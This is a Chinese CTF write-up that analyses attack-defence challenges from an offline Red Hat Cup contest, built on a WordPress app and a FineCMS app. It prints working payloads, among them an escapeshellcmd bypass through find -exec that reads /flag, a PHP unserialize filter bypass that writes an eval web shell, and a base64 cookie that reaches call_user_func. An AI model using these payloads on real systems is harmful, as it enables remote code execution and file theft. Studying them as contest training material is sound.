上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底…最后才又勉强上了点儿分…..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章.

web1

web1是一个wordpress的应用程序,可惜当时比赛刚开始时服务器上的权限设置并不能直接修复程序,所以就先去搞了web2.后来传了一个马上去才修复了一些权限的问题,其他的漏洞基本上是通过抓包来搞出来的….这里贴一些赛后看各路大佬writeup等感觉不错的漏洞点:

命令执行1 escapeshellcmd绕过

在/wp-login.php中:

case 'debug':

$file = addslashes($_POST['file']);

system("find /tmp -iname ".escapeshellcmd($file));

break;

先看一下escapeshellcmd的说明:

可以看到escapeshellcmd的主要功能是对可以截断shell命令的字符进行转义.

然而这里的语句倍拼接到了find命令下,而find命令有一个参数是exec参数,可移执行命令,因此我们这里便可以利用find命令的exec参数来bypass.

find exec参数执行的示例:

然而这里报缺少参数,是因为-exec传入的指令需要有结束符,分号必不可少,且分号应该加上反斜杠防止歧义.

这里看到命令被循环执行了,于是我们加上-quit只打印一次:

因此利用这样的指令便可以读文件.poc为:

file=xxx -or -exec cat /flag ; quit

这里不加反斜杠是因为escapeshellcmd会给我们的参数自动加上反斜杠.

命令执行2

在wp-includes/class-wp-cachefile.php中:

class Template {

public $cacheFile = '/tmp/cachefile';

public $template = '

Welcome back %s';

public function __construct($data = null) {

$data = $this->loadData($data);

$this->render($data);

}

public function loadData($data) {

if (substr($data, 0, 2) !== 'O:'

&& !preg_match('/O:d:/', $data)) {

return unserialize($data);

}

return [];

}

public function createCache($file = null, $tpl = null) {

$file = $file ?? $this->cacheFile;

$tpl = $tpl ?? $this->template;

file_put_contents($file, $tpl);

}

public function render($data) {

echo sprintf(

$this->template,

htmlspecialchars($data['name'])

);

}

public function __destruct() {

$this->createCache();

}

}

new Template($_COOKIE['data']);

这里可以看到构造函数中调用了loadData来对传入的cookie值进行序列化,而loadData函数中对传入的参数进行了两个过滤:

substr($data,0,2)!==’O:’

可以通过序列化一个数组,数组中的元素为类来绕过.

!preg_match(‘/O:d:/‘, $data)

可以通过正号来绕过匹配.

在template类中的析构函数中调用了createCache方法,createCache方法中可以任意写入文件.

因此构造payload的poc为:

class Template {

public $cacheFile = './shell.php';

public $template = 'new Template());

print_r(serialize($t));

最后得到的符合条件的payload为:

a:1:{i:1;O:+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php eval($_REQUEST[test]);";}}

其他

求他的洞就大概都是一些主办方预留的shell之类的了…..

web2

web2是一个finecms,当时防护做得比较好所以没有出现太多的问题.

命令执行1 /finecms/dayrui/config/config.class.php

$_GET['param'];

}

class FinecmsConfig{

private $config;

private $path;

public $filter;

public function __construct($config=""){

$this->config = $config;

echo 123;

}

public function getConfig(){

if($this->config == ""){

$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";

}

}

public function SetFilter($value){

if($this->filter){

foreach($this->filter as $filter){

$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

}

$this->filter = array();

}else{

return false;

}

return true;

}

public function __get($key){

$this->SetFilter($key);

die("");

}

}

这里可以看到调用 $config->$_GET[param] ,如果 $config 是一个类且这个类不存在 $_GET[param] 这样一个属性就会调用__get()方法.

可以看到这里的FinecmsConfig类正好存在一个 __get() 方法.而在 __get() 方法中调用了SetFilter方法.

在SetFilter方法中调用了call_user_func方法,因此这里存在命令执行漏洞.

全局搜索引用了config.class.php文件的文件,可以找到在

./finecms/Init.php中存在引用,./finecms/Init.php中设置了 $config 变量:

if(isset($_COOKIE['FINECMS_CONFIG'])){

$config = $_COOKIE['FINECMS_CONFIG'];

require FCPATH.'dayrui/config/config.class.php';

}

可以看到这里$config的值被设置为 $_COOKIE['FINECMS_CONFIG'] ;

因此我们可以得出最后的payload:

class FinecmsConfig{

private $config;

private $path;

public $filter=array('readfile');

}

$c = new FinecmsConfig();

print_r(base64_encode(serialize($c)));

得到cookie FINECMS_CONFIG的值:

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6ODoicmVhZGZpbGUiO319

GET参数设置为/flag即可获取flag.

命令执行2

finecms的一个1day

sql注入

梅子酒师傅之前挖到的一个sql注入的CVE:

其他

其他就是类似web1一样的小马之类的了…..

后记

开始打awd之后这次比赛又回到了第一次打awd的感觉….只能说还是太菜了…..

以后还是要多联系一下代码审计,真的佩服大佬们代码审计的能力.

另外题目中的漏洞点将会单独抽出来作为代码审计题目放到 我校的CTF平台上 供师傅们分析练习.

参考

注意:本文来自Image's blog。本站无法对本文内容的真实性、完整性、及时性、原创性提供任何保证,请您自行验证核实并承担相关的风险与后果!

CoLaBug.com遵循[CC BY-SA 4.0]分享并保持客观立场,本站不承担此类作品侵权行为的直接责任及连带责任。您有版权、意见、投诉等问题,请通过[eMail]联系我们处理,如需商业授权请联系原作者/原网站。

awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析相关推荐

  1. awd赛题的flag是什么意思_记一次AWD自动获取flag并提交

    背景 近期部门内搭建了攻防实验平台供大家练习,周末组织了一波AWD练习,之前都是做渗透测试比较多,加之题目比较简单,找到漏洞getshell拿flag都没问题,只不过如果没找到突破口flag都要手动提 ...

  2. awd赛题的flag是什么意思_写在新年伊始——由新年Flag所想到的

    对未来最大的慷慨,是把一些献给现在. 补了前天罗胖的跨年演讲,这是Ending金句了. 很有警醒力量的一句话. 新年总是离不开立Flag,我的Flag也早在半月前就立好了.关于立Flag,我看朋友圈里 ...

  3. awd赛题的flag是什么意思_网上说的“立flag”是什么意思?

    展开全部 如果你是一个经常混进b站的人的话,那你就会发现32313133353236313431303231363533e58685e5aeb931333363366233经常有人说出立了个flag或 ...

  4. “中能融合杯”线下赛感悟

    前言: 感谢老师的辛苦付出,才有了出去打比赛的机会,感谢学长的盛情款待.本人混子,全靠队伍中的三位大佬带飞.虽然比赛中间服务器有点问题,但主办方是真的好,吃的喝的全有. 刚打完觉得印象挺深刻的,先记录 ...

  5. [CTF]GUET梦极光杯线下赛web部分WP

    Cover with trick 双写绕过,变量覆盖 Construct Master "%07%15%05%14%03%14%06"|"%60%60%60%60%60% ...

  6. awd的批量脚本 pwn_CTF线下赛AWD套路小结

    CTF线下赛AWD套路小结 本文已在先知社区发表,欢迎访问,链接h 最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一.AWD模式简介 AWD ...

  7. CTF线下赛AWD攻防准备

    CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...

  8. CTF线下赛AWD总结

    AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...

  9. ISCC线下赛参赛感悟

    关于ISCC线下赛参赛感悟(之前就想发出来了,但是一直没时间,刚好赶上了1024就浅浅发一下吧) 一句话感悟 我好菜呀,ctf菜,awd更菜. 关于CTF部分 总结: 大佬是真的牛,选择题290+,不 ...

最新文章

  1. NDoc –NET 代码文档生成器快速度上手
  2. vivoNEX3s版本服务器无响应,vivo NEX 3S为什么突然无人问津,这几点原因道出真相...
  3. swiper 定义放多少张图片,小程序swiper轮播图,自定义样式,两种方法:原生方法和bindchange方法;将点点改为数字(当前第几张 /总共几张);点击点点跳转当前图片...
  4. 用python爬取网站数据期末作业_python实战第一周作业:爬取一页商品数据
  5. Hexo+github搭建个人博客-博客发布篇
  6. 联想杯 - Gentle Jena(单调栈)
  7. 商业银行为什么大量组织高净值小规模活动?
  8. c语言大数相加怎么写,大数相加
  9. .jardesc文件
  10. 【Python】Matplotlib绘制蓝天下的普通房屋
  11. JS 打印 iframe
  12. 报表引擎API开发入门—带参程序数据集
  13. HDU1163 Eddy's digital Roots(解法二)【快速模幂+九余数定理】(废除!!!)
  14. Windows Server 2016安装IIS服务步骤
  15. 背景图片轮播html代码,一款常见的背景图片轮播动效
  16. Conduit-面向Kubernetes的轻量化服务网格
  17. github登录+注册方法
  18. 用纯css实现优雅的tab页,纯CSS实现Tab页切换效果的方法
  19. Go语言-switch case | switch中判断多个值、interface conversion: interface {} is float64, not int
  20. 蓝桥杯 分解质因数 C语言

热门文章

  1. Spring MVC工程搭建
  2. android dialog去掉标题栏和边框
  3. 微信小程序自定义搜索框(searchbar)
  4. Ubuntu下启用ssh
  5. 【GPRS模组】 安信可A9G 基于OpenCPU的SDK二次开发
  6. broncho-vaxom
  7. mysql中left join的误解及笛卡尔积解释
  8. 交通预测新视角-基于GCN的出租车OD需求预测
  9. 思科模拟器 --- 交换机的基本配置与管理
  10. 探秘深圳智能公交:无人驾驶公交离我们有多远?